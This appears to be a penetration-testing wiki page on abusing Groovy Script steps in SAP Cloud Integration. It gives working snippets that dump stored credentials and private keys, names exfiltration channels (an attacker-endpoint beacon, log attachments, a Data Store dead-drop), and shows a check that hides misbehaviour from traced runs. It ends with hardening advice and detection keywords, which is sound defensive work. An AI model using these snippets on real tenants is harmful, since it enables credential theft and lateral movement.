Groovy Script Step Attack Surface
SAP Integration Suite’s Cloud Integration (CPI, formerly HCI) lets any iFlow designer drop a Groovy Script step into a message-processing pipeline. Every script implements def Message processData(Message message) from the Script SDK (com.sap.gateway.ip.core.customdev.util.Message), which hands the script full read/write access to the message body, HTTP-adapter-derived headers (SAP_MessageProcessingLogID, SAP_Sender, SAP_Receiver, …), Camel exchange properties, and - via message.exchange - the underlying Apache Camel Exchange/CamelContext the whole platform runs on. Older tenants ran Java 8 / Groovy 2.4.12 / Apache Camel 2.17.4; newer tenants run later versions. Self-report the live version from inside a script (see the sandbox-check in Options).
The step is advertised as sandboxed - class whitelisting, “no file system or network access unless explicitly enabled via connectivity adapters.” That boundary is not enforced. In practice:
java.net.HttpURLConnection/java.net.URLmake outbound HTTPS calls directly, with no adapter involved.java.langandjava.netare ordinary default imports and are not blocked.Runtime.getRuntime().exec()spawns a native OS process on the CPI runtime node and captures its stdout back into the message - real command execution on shared tenant infrastructure, gated only by convention.ITApiFactory.getService(SecureStoreService.class, null)and the parallelKeystoreServicedecrypt and return, in cleartext, any User Credential, OAuth2 client credential, Secure Parameter, or keystore private key/certificate the script names an alias for - with no authorization check beyond being allowed to deploy the iFlow.
What is constrained: new File('/some/local/path') cannot reach the tester’s own machine (the JVM never runs there) and throws FileNotFoundException for arbitrary absolute paths outside the deployed artifact’s working directory; bundled iFlow Resources (XSD/JSON schemas uploaded with the script) remain readable. This can also include the runtime node’s own OS filesystem (/etc/passwd, JVM temp dirs, other iFlows’ unpacked artifacts).
Cloud Integration also supports JavaScript as an alternative Script-step language (a Rhino/Nashorn-class engine) - a possible alternate delivery vector if Groovy is blocked by policy/linting (e.g. CPILint) but JS is not.
Anyone who can deploy - or get someone/something else (eg. Code Injection) to deploy - a single iFlow with a Groovy Script step obtains:
- a decryption oracle for every User Credential, OAuth2 secret, Secure Parameter, and private key in the tenant’s Security Material, regardless of which package/iFlow the secret “belongs” to;
- arbitrary OS command execution on the shared CPI runtime node;
- an outbound HTTP client unconstrained by the advertised sandbox, to exfiltrate anything from (1) or (2) to an attacker-controlled endpoint;
- an authenticated pivot into the on-premise landscape via any Cloud-Connector-backed destination the tenant already has, using SAP’s own stored credentials.
Because iFlow design/deploy rights (AuthGroup.IntegrationDeveloper or its itemized equivalent) are commonly granted to a broad developer population and to CI/CD service users, compromising any one such account or service key converts into full-tenant secret disclosure and a lateral-movement primitive into on-prem systems - with no exploitable bug involved.
Sandbox reality check - do this first, every engagement. Confirms the step runs and reports the live Groovy/Java version:
import com.sap.gateway.ip.core.customdev.util.Message
def Message processData(Message message) {
def sb = new StringBuilder()
sb << "Groovy: ${GroovySystem.getVersion()}\r\n"
sb << "Java: ${System.getProperty('java.version')}\r\n"
message.setBody(sb.toString())
return message
}
Then escalate to java.net.HttpURLConnection outbound HTTP and, if in scope, Runtime.getRuntime().exec() OS command execution on the runtime node. The exec() path is confirmed working but runs on shared production infrastructure - treat as high-impact and coordinate before running it on a live tenant node.
Dump a single credential (SecureStoreService) - confirmed working:
import com.sap.gateway.ip.core.customdev.util.Message
import com.sap.it.api.ITApiFactory
import com.sap.it.api.securestore.SecureStoreService
import com.sap.it.api.securestore.UserCredential
def Message processData(Message message) {
def alias = message.getProperties().get("credential_name_property_key")
SecureStoreService secureStoreService = ITApiFactory.getService(SecureStoreService.class, null)
UserCredential userCredential = secureStoreService.getUserCredential(alias)
message.setProperty("user", userCredential.getUsername().toString())
message.setProperty("pass", userCredential.getPassword().toString())
return message
}
Dump a keystore private key/certificate (KeystoreService):
def alias = "sap_cloudintegrationcertificate"
def service = ITApiFactory.getApi(KeystoreService.class, null)
PrivateKey privateSignKey = (PrivateKey) service.getKey(alias)
X509Certificate cert = (X509Certificate) service.getCertificate(alias)
Works for any alias the script names - including the tenant’s own inbound TLS client-cert identity or a partner-facing signing/encryption key.
Enumerate every alias, not just one. The Secure Store API does not scope credentials to the calling iFlow/package, so any Script step anywhere can reach any alias. There is no confirmed list()/getAll() on SecureStoreService itself, but a deploy-capable attacker can enumerate alias names via Monitor -> Manage Security -> Security Material in the Web UI, or the Security Content REST API, then loop each alias through getUserCredential/getKey.
Exfiltration channels once a secret is in a Groovy variable:
- Direct return -
message.setBody(secret)in the HTTP response. - MPL attachment -
messageLogFactory.getMessageLog(message).addAttachmentAsString("label", secret, "text/plain"), viewable in Monitor -> Message Processing Log -> Attachments by anyone with read Monitoring access, no design rights. Enables a two-actor split: a design-capable “stager” iFlow plants the secret, a monitoring-only “collector” account retrieves it. - Beacon - build a
Basic ' + "$user:$pass".bytes.encodeBase64().toString()header andHttpURLConnection/URLPOST to an attacker endpoint. - Data Store dead-drop -
com.sap.it.api.asdk.datastore.DataStoreServiceput(dataBean, dataConfig); entries are global and readable by every iFlow in the tenant, not scoped to the writer - coordinate a deploy-capable stager and a monitoring-only collector, or two attacker iFlows deployed at different times.
Payload interception in transit. Any Script step anywhere in a pipeline sees the full body, headers (including Authorization), and exchange properties at that point - trivial to log or beacon.
Trace-level logging as a bulk capture primitive. Toggling an iFlow’s log level to Trace (distinct from Debug) captures the entire message content - header, exchange properties, and payload - in Monitor’s “Message Content” tabs, auto-reverting after 10 minutes and retaining data for 1 hour. Whoever can toggle log level (a monitoring-adjacent role, not necessarily design/deploy) captures live cleartext traffic, including in-flight Basic Auth headers, without touching iFlow design at all.
Conditional / anti-forensic exfil - misbehave only when a human is watching:
def logConfig = message.getProperty("SAP_MessageProcessingLogConfiguration")
def logLevel = logConfig?.logLevel as String
if (logLevel == "DEBUG" || logLevel == "TRACE") { /* only misbehave when observed */ }
SSRF / on-prem pivot via destinations. Turns an iFlow into an internet-reachable, authenticated internal-network proxy:
HttpURLConnectioncalls made directly from Groovy do not route through Cloud Connector - the class does not understand Cloud Connector virtual hostnames/ports. Reaching an on-prem backend published via Cloud Connector requires the CPI Request-Reply/Call adapter configured against the Cloud-Connector virtual host - standard adapter config, fully attacker-controllable if the attacker can design iFlows.- Deploy/modify an iFlow with a Request-Reply step targeting an on-prem-reaching destination.
- Bind that adapter’s
credential_name(or a preceding GroovySecureStoreServicecall) so CPI decrypts and injects the on-prem system’s own credentials - the attacker never needs to know them. - Use a Content Modifier or Groovy step to make the outbound request body/path attacker-controlled from the iFlow’s own public HTTPS sender endpoint.
Cloud Connector’s application-level whitelisting is per-subaccount, not per-iFlow - the relevant compensating control, but any iFlow in an already-whitelisted subaccount inherits the reach.
Roles/access gating this whole surface:
AuthGroup.IntegrationDeveloperbundles WebUI design + deploy; itemized equivalent:WebToolingWorkspace.Read+WebTooling.IntegrationFlowConfigure+GenerationAndBuild.generationandbuildcontent+NodeManager.deploycontent. Design (WebTooling.IntegrationFlowConfigure) and Deploy (NodeManager.deploycontent) are separate authorizations - an “edit only” account can still plant a malicious Script step (directly, or into a shared Script Collection, see Integration Suite Persistence) for a higher-privileged colleague or CI/CD service user to unknowingly deploy.ESBMessaging.sendgoverns whether a caller can invoke a deployed iFlow endpoint - distinct from design/deploy.- API path, no Web UI needed:
GET /api/v1/IntegrationDesigntimeArtifacts(...)pulls design content (including embedded Groovy);POST /api/v1/DeployIntegrationDesigntimeArtifactdeploys - both authenticated via an OAuth2 client-credentials BTP service key bound to the same role collections. A leaked service key is equivalent to a stolen developer session for this entire surface.
NoteDo not trust any single source’s “X is blocked” claim about the Groovy sandbox - sources contradict each other on it. Test directly in the target tenant, early. This is one of the highest-leverage checks in the whole engagement.
- Treat CPI Script-step design/deploy rights (
AuthGroup.IntegrationDeveloperor its itemized equivalent) as tenant-wide secret-disclosure and code-execution rights, not “just iFlow editing” - scope role collections tightly; avoid broad grants to junior developers, contractors, or shared CI/CD service users. - There is no per-iFlow scoping on
SecureStoreService/KeystoreService; the only real control is who can deploy a Script step at all. Minimize the deploy-capable population and review Script-step content in code review/change management - the platform enforces none of this. - Rotate every credential/OAuth secret/key exposed to a compromised or over-privileged deploy-capable account; assume full Security Material disclosure once such an account is confirmed compromised.
- Restrict which BTP OAuth2 client-credentials service keys are scoped to Integration-Suite
/api/v1design/deploy roles; treat a leaked service key with the same severity as a stolen developer session. - Constrain Cloud Connector application-level whitelisting to the minimum necessary subaccounts/applications; scope individual destinations narrowly rather than granting broad on-prem reach to any iFlow-capable subaccount.
- Monitor and restrict who can toggle iFlow log level to Trace/Debug on productive interfaces - a bulk cleartext-payload-capture primitive independent of Script-step access.
- Script-step source containing
ITApiFactory,SecureStoreService,KeystoreService,Runtime.getRuntime().exec, or rawHttpURLConnection/URLconstruction outside an approved adapter pattern - flag in code review / CPILint-style static scanning of transported iFlow content. - Deployment events (
POST /api/v1/DeployIntegrationDesigntimeArtifactor WebUI deploy) for iFlows with newly-added or modified Script steps, correlated against change-management records. - MPL Attachments tab entries with generic/suspicious labels (“Payload Snapshot,” debug-style names) on iFlows that shouldn’t attach diagnostic data in production.
- Log-level changes to Trace/Debug on productive iFlows outside a documented troubleshooting window.
- Data Store writes/reads between iFlows with no obvious business relationship - the cross-iFlow dead-drop marker.
- Outbound HTTP(S) from the CPI runtime tenant to non-adapter-configured, unexpected external hosts.
- SAP Blogs - Terminal Access to CPI Runtime: Execution of Shell Commands on CPI Runtime Node
- SAP Blogs - CPI http calls from groovy
- SAP Blogs - SAP CPI - Fetch All Security Artifacts - Don’t Read This!
- GitHub,
pizug/cpi-groovy-examples- reading-credentials/script.groovy - GitHub SAP-samples,
apibusinesshub-integration-recipes- Accessing keystore artifacts using a Groovy script - SAP Community - BTP CPI: get Security Material in groovyscript problem
- SAP Community - CPI: Connect to an On-Premise system via Cloud Connector using a Groovy Script
- SAP Community - How to read/write SAP CPI Datastore from Groovy
- SAP Blogs - Cloud Integration (CPI) - Authorization Management using API’s
- SAP Help Portal - Tasks and Permissions for Cloud Integration
- SAP PRESS SAP Cloud Integration Cookbook; Developing Groovy Scripts for SAP Cloud Platform Integration.
- RedRays - SAP Edge Integration Cell vulnerability advisory 3413475 (scope note: Edge Integration Cell only, not classic Cloud Integration)
- Onapsis - SAP NetWeaver Flaw: CVE-2025-31324 and CVE-2025-42999 (scope note: not Integration Suite, cited only to distinguish)
- Integration Suite Persistence - Script Collection propagation, malicious iFlow deployment
- Parent: SAP Integration Suite
